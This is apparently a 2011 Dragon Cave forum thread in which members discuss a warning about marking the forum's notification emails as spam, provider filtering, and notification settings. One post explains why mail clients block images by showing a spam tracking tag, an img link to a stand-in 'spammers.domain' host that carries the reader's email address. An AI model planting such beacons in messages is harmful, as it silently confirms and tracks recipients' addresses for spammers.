2011-10-29 - Spam E-Mail Reporting

[tjekan]

I am REALLY confused right now. Can someone be kind enough to explain this to me?

 

Why aren't we allowed to report a SPAM-message as spam? I can understand if people are reporting regular messages as spam out of spite or ignorance, but I don't get why we will be BANNED for reporting a SPAM message.

 

Frankly, that sounds rude and mean and unfair.

 

So basically, if we don't want to get SPAMMED, we just can't have our email shown? That sounds like a pretty serious way to go. I mean, the SPAMMERS are the ones at fault, not use! Why are we being punished?

 

I hope I'm just completely misreading this. Would someone please explain this to me?

He means that people are reporting HIS automatic notifications like "You have a PM on DCF" as spam. When that happens, their email providers send him cranky/threatening email, which the people who hit the "spam" button probably didn't realize would happen.

 

The reason it's probably confusing you is that on this forum, "spam" is (unlike elsewhere on the Internet) merely used to mean "any off-topic, out-of-context, or uninteresting post." TJ isn't warning people to stop using the "report" button on this forum to report this kind of pseudo-spam; he's warning people to stop marking forum messages sent to their email boxes as ACTUAL spam, which is a much more serious accusation and reflects negatively on him.

 

ETA: Thanks Pinkgothic, I'll assume common sense will prevail and email providers aren't sending TJ nastygrams over their own spam-sorting algorithms. :-)

Edited October 30, 2011 by tjekan

[AlternateMew]

Heavens, no. My e-mail better not be reporting DC e-mails as spam. They go straight to my main inbox, and are the reason I get my DC messages right when I get online.

[tjekan]

Wait.

 

Sorry, I re-read TJ's post. He doesn't mention other e-mail providers (obscure or otherwise). Everyone chillax. He's talking about people approaching him directly.

 

D'oh! *got distracted by all the marking conversation* :/

 

*goes edit past posts*

No, you were right the first time. He says "When you report a forum e-mail (such as a PM notification) as Spam, your e-mail provider may send a notice to the forum's host," and then he says "This happens most frequently with Windows Live and Hotmail." In other words, if you have a Hotmail account, and you flag forum email as spam to Hotmail, Hotmail will send email to TJ ordering him to desist.

 

As long as Hotmail isn't sending TJ angry email every time they themselves mistake his email for spam, I think we're all OK. :-)

[Daydreamer09]

Shoot... I use hotmail. I have no idea though if the forum e-mails are being blocked. D:

[pinkgothic]

It's apparently too late in the evening and I second-guess myself way, way too easily.

 

*fixes, then commits harakiri*

 

Edit:

 

I deleted the dumb. Yay!

 

And now I am left wondering of the dumb that are e-mail providers, because it seems like a bad idea to mention "Hey, account x reported you as spamming, stop that" when that (1) confirms the account x exists, for which there exist plenty of counter-measures, since it makes account x more attractive to spammers* (2) that's a lot of reports (automated or not).

 

* For completion's sake: "But, pinkgothic, if they're malicious and account x's provider block them for it, how can it be more attractive?" E-mail addresses are traded amongst spammers much like addresses are in the real world amongst advertisers. A confirmed account is a lot more attractive, in general, than an account that isn't.

 

Related trivia: One of the counter-measures: The reason most webmailers and e-mail clients don't show images unless you expressly ask for them to be is exactly that. A lot of spam e-mails contain image tags in the form <img src="http://spammers.domain/image.file?email=YOUR-EMAIL" />. If that image loads, spammers.domain knows that the message sent to YOUR-EMAIL was read.

 

Edit #N: Passing out, it's three in the morning here (and that's after getting adjusted to winter time along the way, so it's really more like four!).

Edited October 30, 2011 by pinkgothic

[Sandface]

Well thank you for that information! I know it doesn't go to my spam, and I don't ever check my email anyway, so not a problem for me.

[wonton55912]

Thanks for letting us know, TJ.

[Classycal]

Okay, TJ, there's one thing I don't understand. I've never reported my emails as spam, but on occasion, Yahoo takes it upon themselves to suddenly start putting stuff in the spam folder even though I never marked it as spam. (I've even had stuff put in spam when I was paying to get the email.) Is that something that gets reported to you, too? Or is this something that's specifically reported as spam? And what if it happens by accident? I've accidentally put stuff in the spam folder although I immediately go to the spam folder and then report it as "not spam". So are you saying if this happens, that our forum account will automatically be closed - or that it will be reset that we can receive no emails? It seems a bit harsh if it would happen to be an accident. If it did happen by accident, would you be able to re-open our account? Or are you actually talking about the cases where things are reported to email providers as abuse? (Oh, and I agree that if someone is sending us an email through DC that is spam - like wanting us to join some game that isn't free - should not be reported as spam to our provider. It should be reported to you.) I just checked my spam folder and found six emails from DC that had been put in spam - and I did not do that. I went in a marked them all as "not spam". They were all from yesterday and I haven't even deleted anything so I couldn't have accidentally put them there. Yahoo is just sometimes overzealous, and they must have been on an overzealous spree yesterday. I'm guessing other providers are, too. (In addition to the six above I found one from the 27th, two from the 26th, one from the 24th, three from the 23rd, several more from the 10th, and a few others. In addition to that, I found four from my cousin who I'm assuming Yahoo thought was spam because they were all sent at the same time.) I've complained to Yahoo before about being overzealous, but I've never gotten a reply.

[Vampyre]

Well I make a point never to mark anything as spam ...except for those annoying emails about how to make certain male body parts larger (why would I need that...I'm female) Or those stupid "you've won a free laptop" ones >.>

[StormWizard212]

The email address I use for forums and MSN hasn't received proper emails for a long, long time. I use my email uni for the important stuff. My inbox is currently at 2278 new messages, all of which I assume are from various forums.

 

I hope people start using their account settings instead of marking emails as spam though. It sucks that TJ has to put time and energy into something like this that could be easily avoided.

[kiffren]

o-0

 

DC never goes to spam.

 

/prods volumes of reports

D8 except for when it does go to spam...and I'm left wondering why I haven't gotten reports.

 

But seriously, why do they 'report' it as spam. Just put a filter on it, not that hard.

[Mysthunter]

I never realized that TJ got a warning when a DC message went into somebody's Spam folder...weird...

[Syphoneira]

I do hope that people are right in saying that the problem is likely with individuals specifically reporting emails as spam and not with providers dumping the odd DC notification or message into Junk.

 

I just went into my inbox and discovered that there was a DC notification in my Junk and again marked it not-junk...

 

I do hope that TJ will soon make it clear as to whether or not that type of issue will result in our being banned or not...

[miro1211]

Thanks for the info TJ!!

[pinkgothic]

Okay, TJ, there's one thing I don't understand.  I've never reported my emails as spam, but on occasion, Yahoo takes it upon themselves to suddenly start putting stuff in the spam folder even though I never marked it as spam.  (I've even had stuff put in spam when I was paying to get the email.)  Is that something that gets reported to you, too?  Or is this something that's specifically reported as spam?

 

I do hope that people are right in saying that the problem is likely with individuals specifically reporting emails as spam and not with providers dumping the odd DC notification or message into Junk.

 

It should be something that's specifically reported as spam by people viewing their inbox, not the automatic sorting.

Edited October 30, 2011 by pinkgothic

[lulu_witch]

Thank you for the information but this has got me really worried now. I know in the past that I have accidentally mis-clicked emails that are not from DC 'mark as spam' but I have never intentionally done that and I have always gone to my junk mail and clicked 'mark as safe' straight away. I just hope that if a genuine mistake does happen to someone that TJ will be reasonable, I would hate to lose my forum account because of a silly mis-click.

Having said that I can see why TJ would have to take such measures, especially if a large volume of people are doing this on a frequent basis. That really isn't the proper way to stop getting emails that you subscribed to in the first place.

[Bellatrix86]

I think what is happening is people are subscribing to threads (or pm notifications) and have their forum account set up to send them an email anytime posts are made to the threads they are subscribed to (or when they get a PM). Rather than just go into their forum account and reset those configurations to STOP the email notifications they are reporting those emails as spam to their service provider...

Can someone please explain how to STOP these email notifications while stile being subscripted to a topic? Does it even work? I'm searching this options for ages...

 

I love subscribing to topics because I love having my most used boards in a pretty summary in the control panel for easy checking. But for me it would be totally enough to just have them there, I don't always need the email notification. I would be amazing if we could enable/disable this option whenever we like.

 

I never report these mails as spam though because I know that I'm getting them because I subscribed. But it would make me more than happy if I could stop them sometimes without loosing the topic summary.

[pinkgothic]

Can someone please explain how to STOP these email notifications while stile being subscripted to a topic? Does it even work? I'm searching this options for ages...

 

I've never been subscribed to a thread on this forum before, but check out the link in TJ's post. Here it is again. If you uncheck the "Include a copy of the post when emailing me from a subscribed topic" box, does that work? (Or do you still get e-mails and they're just shorter?)

Edited October 30, 2011 by pinkgothic

[Bluheart]

Wow this makes me glad I use my Gmail account for here. Lately I had been considering changing it to my Hotmail. I think I won't do that now.

 

Thanks for the info TJ!

[dragonpuck]

Can someone please explain how to STOP these email notifications while stile being subscripted to a topic? Does it even work? I'm searching this options for ages...

 

I love subscribing to topics because I love having my most used boards in a pretty summary in the control panel for easy checking. But for me it would be totally enough to just have them there, I don't always need the email notification. I would be amazing if we could enable/disable this option whenever we like.

 

I never report these mails as spam though because I know that I'm getting them because I subscribed. But it would make me more than happy if I could stop them sometimes without loosing the topic summary.

you can bookmark you favorite forum/threads and not have to worry about emails. I don't think you can "subscribe" to a thread without getting emails.

 

Another forum I'm on makes you return to the forum before getting another email.

So you visit-- get an email that there are more posts- visit again--- but until you visit again, no more emails- perhaps this might be an available option on this board?

[Husky51]

Any PM's I get from in here automatically go to my email and I see them when I check my mail periodically guring the day. I don't believe that I've had any problems, but thanks for the heads-up, TJ...

[lonewolfrissy]

I'm one of those users. I don't remember ever setting my account up for dragcave to be spam. So when I tried to sign on to the forums, I couldn't post anywhere. I primarily use hotmail. But had to change it. Which is really odd cause I get a lot of spam emails in my junk folder, but none of it was dragcave related. =< But it's fixed now. o.o; so I'll be a lot more careful.

[silver_tiger]

you can bookmark you favorite forum/threads and not have to worry about emails. I don't think you can "subscribe" to a thread without getting emails.

 

Another forum I'm on makes you return to the forum before getting another email.

So you visit-- get an email that there are more posts- visit again--- but until you visit again, no more emails- perhaps this might be an available option on this board?

No, I like getting the e-mails! It lets me know when I should check the things I'm subscribed to, I'd never remember to come here otherwise.

[Winged-Kitty]

Wow. I just went to go check to make sure that I didn't have it in my Junk box in my emails (even though I was pretty sure I didn't.) Was so relieved to see it in my Inbox...

 

Thanks a lot for letting us know~

Edited October 30, 2011 by Winged-Kitty

[Syaoransbear]

I am REALLY confused right now. Can someone be kind enough to explain this to me?

 

Why aren't we allowed to report a SPAM-message as spam? I can understand if people are reporting regular messages as spam out of spite or ignorance, but I don't get why we will be BANNED for reporting a SPAM message.

 

Frankly, that sounds rude and mean and unfair.

 

So basically, if we don't want to get SPAMMED, we just can't have our email shown? That sounds like a pretty serious way to go. I mean, the SPAMMERS are the ones at fault, not use! Why are we being punished?

 

I hope I'm just completely misreading this. Would someone please explain this to me?

It kind of sounds as if you are talking about spam pms sent to your forum account and not about e-mails sent to your e-mail account. So just to make sense of the rest of my post: this is about people marking e-mail notifications and other e-mails from DC as spam in their email account.

 

DC never sends spam. The e-mails you get from DC are e-mails that you've requested to receive by selecting emailing options in your DC forum account, which is not spam. Spam is unwanted e-mail. Even if you don't want e-mails from DC, you've indicated in your forum settings that you would like those e-mails, so it's unfair for you to mark it as spam when it isn't spam and then get TJ in trouble for sending e-mails that you claimed you wanted to receive.

 

 

I have a question. What are the default settings on DC when you sign up? Perhaps the default settings should be so that you don't receive any e-mails from DC except the one activating your account.

Edited October 30, 2011 by Syaoransbear